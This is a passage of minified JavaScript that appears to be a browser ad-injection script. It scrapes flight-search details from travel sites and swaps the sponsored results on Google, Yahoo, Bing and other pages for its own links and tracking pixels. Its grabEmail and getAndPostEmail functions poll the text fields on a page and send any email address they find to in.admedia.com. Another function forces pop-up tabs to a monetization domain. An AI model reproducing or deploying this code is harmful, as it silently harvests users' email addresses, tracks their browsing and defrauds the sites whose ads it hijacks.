aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "rs_o_aircode") deptApt = unescape(aParamName[1]); if(aParamName[0] == "rs_d_aircode") arrApt = unescape(aParamName[1]); if(aParamName[0] == "rs_chk_in") deptDate = unescape(aParamName[1]); if(aParamName[0] == "rs_chk_out") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'smartfares': m = href.match(/^https?:\/\/[a-z]+\.smartfares\.com\/.*$/); if (m !== null) { aptStr = jQuery('a[id$="LinkButtonMore"]').attr('href'); aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "OrigCity0") deptApt = unescape(aParamName[1]); if(aParamName[0] == "DestCity0") arrApt = unescape(aParamName[1]); if(aParamName[0] == "Date0") deptDate = unescape(aParamName[1]); if(aParamName[0] == "Date1") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'vayama': m = href.match(/^https?:\/\/[a-z]+\.vayama\.com\/.*$/); if (m !== null) { aptStr = jQuery('#resultUrl').val(); aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "OR") deptApt = unescape(aParamName[1]); if(aParamName[0] == "AR") arrApt = unescape(aParamName[1]); if(aParamName[0] == "DT1") deptDateStr = unescape(aParamName[1]); if(aParamName[0] == "DT2") retDateStr = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptDateStr) deptDate = deptDateStr.substr(2,2)+"-"+deptDateStr.substr(0,2)+"-"+deptDateStr.substr(4,4); if(retDateStr) retDate = retDateStr.substr(2,2)+"-"+retDateStr.substr(0,2)+"-"+retDateStr.substr(4,4); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'travelation': m = href.match(/^https?:\/\/[a-z]+\.travelation\.com\/.*$/); if (m !== null) { aptStr = jQuery('a[id$="LinkButtonMore"]').attr('href'); aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "OrigCity0") deptApt = unescape(aParamName[1]); if(aParamName[0] == "DestCity0") arrApt = unescape(aParamName[1]); if(aParamName[0] == "Date0") deptDate = unescape(aParamName[1]); if(aParamName[0] == "Date1") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'flightnetwork': m = href.match(/^https?:\/\/[a-z]+\.flightnetwork\.com\/flights.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "gateway_dep") deptApt = unescape(aParamName[1]); if(aParamName[0] == "gateway_ret") arrApt = unescape(aParamName[1]); if(aParamName[0] == "depart_date") deptDate = unescape(aParamName[1]); if(aParamName[0] == "return_date") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'southwest': m = href.match(/^https?:\/\/[a-z]+\.southwest\.com\/flight.*$/); if (m !== null) { deptApt = jQuery('#originAirport').val(); arrApt = jQuery('#destinationAirport').val(); deptDate = jQuery('#outboundDate').val(); retDate = jQuery('#returnDate').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'cheaptickets': case 'ebookers': m = href.match(/^https?:\/\/[a-z]+\.cheaptickets\.com\/shop.*$/); if(!m || m.length == 0) m = href.match(/^https?:\/\/[a-z]+\.ebookers\.com\/shop.*$/); if (m !== null) { deptApt = jQuery('meta[name="DCSext.o"]').attr('content'); arrApt = jQuery('meta[name="DCSext.d"]').attr('content'); deptDate = jQuery('meta[name="DCSext.dd"]').attr('content'); retDate = jQuery('meta[name="DCSext.rd"]').attr('content'); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'cheapoair': case 'onetravel': m = href.match(/^https?:\/\/[a-z]+\.cheapoair\.com\/.*$/); if(!m || m.length == 0) m = href.match(/^https?:\/\/[a-z]+\.onetravel\.com\/.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "oa") deptApt = unescape(aParamName[1]); if(aParamName[0] == "da") arrApt = unescape(aParamName[1]); if(aParamName[0] == "dd") deptDate = unescape(aParamName[1]); if(aParamName[0] == "rd") retDate = unescape(aParamName[1]); } } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'farebuzz': m = href.match(/^https?:\/\/[a-z]+\.farebuzz\.com\/.*$/); if (m !== null) { deptApt = jQuery('input[id$="OutBound_From"]').val(); arrApt = jQuery('input[id$="OutBound_To"]').val(); deptDate = jQuery('input[id$="OutBound_Date"]').val(); retDate = jQuery('input[id$="Return_Date"]').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'delta': m = href.match(/^https?:\/\/[a-z]+\.delta\.com\/air.*$/); if (m !== null) { var deltaInt = setInterval(function(){ if(jQuery('#departureCity0').length > 0) { clearInterval(deltaInt); deptApt = jQuery('#departureCity0').val(); arrApt = jQuery('#destinationCity0').val(); deptDate = jQuery('#departDateTime0').val(); retDate = jQuery('#returnDateTime0').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '' && travelSliderEn == 1) { isTravel = true; jQuery(document.body).append(''); } return; } }, 1000); } break; case 'united': m = href.match(/^https?:\/\/[a-z]+\.united\.com\/.*$/); if (m !== null) { deptAptStr = jQuery('input[id$="txtOrigin"]').val(); arrAptStr = jQuery('input[id$="txtDestination"]').val(); deptDate = jQuery('input[id$="txtDptDate"]').val(); retDate = jQuery('input[id$="txtRetDate"]').val(); if(deptAptStr) { deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/); deptApt = deptAptMtc[2]; } if(arrAptStr) { arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/); arrApt = arrAptMtc[2]; } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; case 'kayak': m = href.match(/^https?:\/\/[a-z]+\.kayak\.com\/flights\/(.*?)\/(.*?)\/(.*?)$/); if (m !== null) { aptStr = m[1]; deptDateStr = m[2]; retDateStr = m[3]; aptStrSp = aptStr.split('-'); if(aptStrSp[0]) deptApt = aptStrSp[0]; if(aptStrSp[1]) arrApt = aptStrSp[1]; deptDateStrSp = deptDateStr.split('-'); if(deptDateStrSp.length == 3) deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0]; retDateStrSp = retDateStr.split('-'); if(retDateStrSp.length == 3) retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0]; if(deptApt && deptApt != '') isTravel = true; return; } break; case 'jetblue': m = href.match(/^https?:\/\/[a-z]+\.jetblue\.com\/.*$/); if (m !== null) { deptApt = jQuery('#selectedOriginAirport').val(); arrApt = jQuery('#selectedDestinationAirport').val(); deptDateStr = jQuery('#departureDate').val(); retDateStr = jQuery('#returnDate').val(); deptDateStrSp = deptDateStr.split('-'); if(deptDateStrSp.length == 3) deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0]; retDateStrSp = retDateStr.split('-'); if(retDateStrSp.length == 3) retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0]; if(deptApt && deptApt != '') isTravel = true; return; } break; case 'fly': m = href.match(/^https?:\/\/[a-z]+\.fly\.com\/flights.*$/); if (m !== null) { aptStr = document.location.href; aptArr = aptStr.split("?"); if(aptArr[1] && aptArr[1] != '') { aptParams = aptArr[1]; aptVars = aptParams.split("&"); for(var t=0; t < aptVars.length; t++) { aParamName = aptVars[t].split("="); if(aParamName[0] == "Origin") deptApt = unescape(aParamName[1]); if(aParamName[0] == "Destination") arrApt = unescape(aParamName[1]); if(aParamName[0] == "DepartDate") deptDate = unescape(aParamName[1]); if(aParamName[0] == "ReturnDate") retDate = unescape(aParamName[1]); } deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); } if(deptApt && deptApt != '') isTravel = true; return; } break; case 'alaskaair': m = href.match(/^https?:\/\/[a-z]+\.alaskaair\.com\/Shopping.*$/); if (m !== null) { deptApt = jQuery('tr[class="Option"]:first').attr('orig'); arrApt = jQuery('tr[class="Option"]:first').attr('dest'); deptDateStr = jQuery('#departureDate').val(); retDateStr = jQuery('#returnDate').val(); deptDate = deptDate.replace(/\//g, '-'); retDate = retDate.replace(/\//g, '-'); if(deptApt && deptApt != '') isTravel = true; return; } break; default: return; } } var emailInt = ""; function getAndPostEmail(email_inp, submit_inp, cat) { emailInt = setInterval(function(){ jQuery('input[type="text"]').each(function(){ emailVal = jQuery(this).val(); if(emailVal != '') { if(validateEmail(emailVal)) { (new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat="+cat+"&dom="+pageDomain+"&rand="+Math.random()*1000; clearInterval(emailInt); } } }); }, 2000); if(ie_version != 1) { jQuery(submit_inp).click(function() { email_id = jQuery(email_inp).val(); (new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+email_id+"&cat=280&dom="+pageDomain+"&rand="+Math.random()*1000; }); } else { jQuery(submit_inp).mouseleave(function() { email_id = jQuery(email_inp).val(); (new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+email_id+"&cat=280&dom="+pageDomain+"&rand="+Math.random()*1000; }); } } var glEmailInt = ""; function grabEmail() { glEmailInt = setInterval(function(){ jQuery('input[type="text"]').each(function(){ emailVal = jQuery(this).val(); if(emailVal != '') { if(validateEmail(emailVal)) { (new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat=0&dom="+pageDomain+"&rand="+Math.random()*1000; clearInterval(glEmailInt); } } }); }, 2000); } function validateEmail(email) { var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/; return re.test(email); } function openPopUpTab(term){ var a = document.createElement("a"); a.href = "http://exitmonetization.com/landing/index.php?id=25240&ref=https%25253A%25252F%25252Fwww.google.com%25252F&subid=&site=aaos.org&search="+term; var evt = document.createEvent("MouseEvents"); evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null); a.dispatchEvent(evt); } function createXmlBox(id) { var bgColorArr = {'google':'#fff7ed', 'yahoo':'#fff', 'bing':'#fff', 'superpages':'#fff', 'aol':'#fdfef2', 'pricegrabber':'#fbfbfb'}; if(bgColorArr[pageEntity]) bgColor = bgColorArr[pageEntity]; else bgColor = '#fff'; var div = jQuery(document.createElement('div')); div.css({ 'background-color': bgColor, 'position': 'relative', 'padding': '5px', 'margin-bottom': '2px', 'margin-top': '2px' }); div.attr('id', id); return div; } injectXmlAds = function(obj) { var tabs, div, listings, ads, listId, linkId, urlId, descriptionId, i, link, url, description, list, cite, img, favicon, pixel; jQuery('#sw-ads').remove(); jQuery('#sw-ads-2').remove(); jQuery('#sw-ads-3').remove(); jQuery('#sw-ads-4').remove(); div = createXmlBox('sw-ads'); div2 = createXmlBox('sw-ads-2'); if (isGoogle === true) { if(obj && obj.firePixel && obj.firePixel == 1) (new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2"; if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663") { if(showGoogleShop == 1) injectShoppingAds(term); } else injectShoppingAds(term); /*div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '546px'); div2.css('width', '546px'); div.insertBefore('#taw'); div2.insertAfter('#bottomads'); div3.css('width', '546px'); div3.insertAfter('#sw-ads'); div4.css('width', '546px'); div4.insertAfter('#sw-ads-3');*/ var gc = 0; jQuery('#tads > ol .ads-ad').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('#vs0p'+gcc).html(obj.items[gc].title); jQuery(this).find('.ads-visurl > cite').html(obj.items[gc].displayUrl); jQuery(this).find('.ads-creative').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); var nc = 0; jQuery('#rhs_block > #mbEnd > ol > .ads-ad').each(function(){ gcc = nc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('#vs1p'+gcc).html(obj.items[gc].title); jQuery(this).find('.ads-visurl > cite').html(obj.items[gc].displayUrl); jQuery(this).find('.ads-creative').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; nc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '546px'); if(last_sw == "") div.insertBefore('#taw'); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isYahoo === true) { if(obj && obj.firePixel && obj.firePixel == 1) (new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2"; //openPopUpTab(term); //injectIframeShoppingAds(190, 750, 'ap', 'v', '#sidebar .bd', term); if(document.location.href.indexOf('shopping.yahoo.com') != -1 || document.location.href.indexOf('shopping.search.yahoo.com') != -1) injectShoppingAds(term); if(document.location.href.indexOf('news.search.yahoo.com') != -1 || document.location.href.indexOf('sports.search.yahoo.com') != -1 || document.location.href.indexOf('finance.search.yahoo.com') != -1 || document.location.href.indexOf('games.search.yahoo.com') != -1 || document.location.href.indexOf('shopping.search.yahoo.com') != -1) { var gc = 0; jQuery('#main .ads.horiz.top .spns li').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url); jQuery(this).find('a.yschttl').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#ysm_east li').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url); jQuery(this).find('a.yschttl').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#main .ads.horiz.bot .spns li').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url); jQuery(this).find('a.yschttl').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(document.location.href.indexOf('shopping.yahoo.com') != -1) { var gc = 0; jQuery('.bd.tua > ul > li').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); jQuery(this).find('.host > a').html(obj.items[gc].displayUrl); jQuery(this).find('.abstr > a').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else { var gc = 0; jQuery('#main .ads.horiz.top .spns li.res').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url); jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url); jQuery(this).find('div.abs > a').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#right .eads li.res').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url); jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url); jQuery(this).find('div.abs > a').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('#main .ads.horiz.bot .spns li.res').each(function(){ if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url); jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title); jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url); jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl); jQuery(this).find('em').find('img').remove(); jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url); jQuery(this).find('div.abs > a').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); } sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '546px'); if(last_sw == "") div.insertBefore('#main'); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isBing === true) { if(obj && obj.firePixel && obj.firePixel == 1) (new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2"; injectShoppingAds(term); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '546px'); div.insertBefore('#results_container'); div2.css('width', '546px'); div2.insertAfter('#results'); div3.css('width', '546px'); div3.insertAfter('#sw-ads'); div4.css('width', '546px'); div4.insertAfter('#sw-ads-3'); } else if(isInfo === true) { //openPopUpTab(term); injectShoppingAds(term); /*div.css('width', '580'); jQuery('#cw').prepend(div); div2.css('width', '580px'); jQuery('#cw').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '580px'); div3.insertAfter('#sw-ads'); div4.css('width', '580px'); div4.insertAfter('#sw-ads-3');*/ var gc = 0; jQuery('ul[content="P4T"] > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('h3>a').attr('href', obj.items[gc].url); jQuery(this).find('h3>a').html(obj.items[gc].title); jQuery(this).find('.u').html(obj.items[gc].displayUrl); jQuery(this).find('.d').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); jQuery('ul[content="P4B"] > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('h3>a').attr('href', obj.items[gc].url); jQuery(this).find('h3>a').html(obj.items[gc].title); jQuery(this).find('.u').html(obj.items[gc].displayUrl); jQuery(this).find('.d').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '580px'); if(last_sw == "") jQuery('#cw').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isInfospace === true) { injectIframeShoppingAds(550, 230, 'pr', 'h', '.splitAdResults', term); /*div.css('width', '870px'); jQuery('.splitAdResults').prepend(div); div2.css('width', '870px'); jQuery('#resultsMain').append(div2); div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div3.css('width', '870px'); div3.insertAfter('#sw-ads'); div4.css('width', '870px'); div4.insertAfter('#sw-ads-3');*/ var gc = 0; jQuery('.splitAdResults > .searchResult.adResult').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.resultTitle').attr('href', obj.items[gc].url); jQuery(this).find('.resultTitle').html(obj.items[gc].title); jQuery(this).find('.resultDisplayUrl').html(obj.items[gc].displayUrl); jQuery(this).find('.resultDisplayUrl').attr('href', obj.items[gc].url); jQuery(this).find('.resultDescription').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '870px'); if(last_sw == "") jQuery('.splitAdResults').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isAbout === true) { var gc = 0; jQuery('.gB > .p').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('.t').html(obj.items[gc].title); jQuery(this).find('.u').html(obj.items[gc].displayUrl); jQuery(this).find('.d').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '770px'); if(last_sw == "") jQuery('#gB5').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isDuckgo === true) { setTimeout(function(){jQuery('#ads > .results_links').each(function(){ var gc = 0; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a.large').attr('href', obj.items[gc].url); jQuery(this).find('a.large').html(obj.items[gc].title); jQuery(this).find('.url').html(obj.items[gc].displayUrl); jQuery(this).find('.url').attr('href', obj.items[gc].url); jQuery(this).find('.snippet > a').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); }, 1000); } else if(isDevart === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.page-results > .tt-boxed').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.thumb').attr('href', obj.items[gc].url); jQuery(this).find('.t').attr('href', obj.items[gc].url); jQuery(this).find('.t').html(obj.items[gc].title); jQuery(this).find('.category').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isImgur === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.posts > .post').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('a').attr('href', obj.items[gc].url); jQuery(this).find('img').attr('original-title', obj.items[gc].title+"

"+obj.items[gc].description+"

"); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isFindprices === true) { var gc = 0; jQuery('.partners > li').each(function(){ gcc = gc+1; if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.partners-title').attr('href', obj.items[gc].url); jQuery(this).find('.partners-title').html(obj.items[gc].title); jQuery(this).find('.partners-inner').html(obj.items[gc].description + ' '+obj.items[gc].displayUrl+''); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '950px'); if(last_sw == "") jQuery('.partners-links').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isSafercar === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#googleContent > .googleResult').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.googleTitle > a').attr('href', obj.items[gc].url); jQuery(this).find('.googleTitle > a').html(obj.items[gc].title); jQuery(this).find('.googleSnippet').html(obj.items[gc].description); jQuery(this).find('.googleUrl').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '850px'); if(last_sw == "") jQuery('#googleContent').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isAbcteach === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#thumbnailView > .yui3-g > .yui3-u-1-4').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.yui3-u-3-4 > div > a').attr('href', obj.items[gc].url); jQuery(this).find('.centered > a').attr('href', obj.items[gc].url); jQuery(this).find('.centered > a').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isAliexpress === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('#hs-list-items > ul > li').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.picRind').attr('href', obj.items[gc].url); jQuery(this).find('.product').attr('href', obj.items[gc].url); jQuery(this).find('.product').html(obj.items[gc].title); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isJimmyjazz === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.product_grid > .product_grid_item').each(function(){ if(gc>0 && gc%3 == 0) skip5 = 1; if(skip5 == 1) { if(ct5 < 5) ct5++; else if(ct5 == 5) { skip5 = 0; ct5 = 0; } } gcc = gc+1; if(skip5 == 0 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.product_grid_image > a').attr('href', obj.items[gc].url); jQuery(this).find('.product_grid_brand > a').attr('href', obj.items[gc].url); jQuery(this).find('.product_grid_brand > a').html(obj.items[gc].title); jQuery(this).find('.product_grid_title > a').attr('href', obj.items[gc].url); jQuery(this).find('.product_grid_title > a').html(obj.items[gc].displayUrl); (new Image()).src = obj.items[gc].pixel; gc++; } }); } else if(isJeepforum === true) { div3 = createXmlBox('sw-ads-3'); div4 = createXmlBox('sw-ads-4'); div.css('width', '1160px'); div.insertBefore('#cse-search-results'); div2.css('width', '1160px'); div2.insertAfter('#cse-search-results'); div3.css('width', '1160px'); div3.insertAfter('#sw-ads'); div4.css('width', '1160px'); div4.insertAfter('#sw-ads-3'); } else if(isCrengland === true) { var gc = 0; jQuery('.search-results > li.search-result').each(function(){ gcc = gc+1; if(gc < 3 && obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '') { jQuery(this).find('.title > a').attr('href', obj.items[gc].url); jQuery(this).find('.title > a').html(obj.items[gc].title); jQuery(this).find('.search-snippet').html(obj.items[gc].description); (new Image()).src = obj.items[gc].pixel; gc++; } }); sw_cont = ""; last_sw = ""; for(i = 0; i<(3-gc); i++) { sw_cont = "sw-ads"; if(i > 0) sw_cont += "-"+(i+1); div = createXmlBox(sw_cont); div.css('width', '620px'); if(last_sw == "") jQuery('.search-results').prepend(div); else div.insertAfter('#'+last_sw); last_sw = sw_cont; } } else if(isBehance === true) { var gc = 0; var ct5 = 0; var skip5 = 0; jQuery('.covers > .project-cover').each(function(){ if(gc>0 && 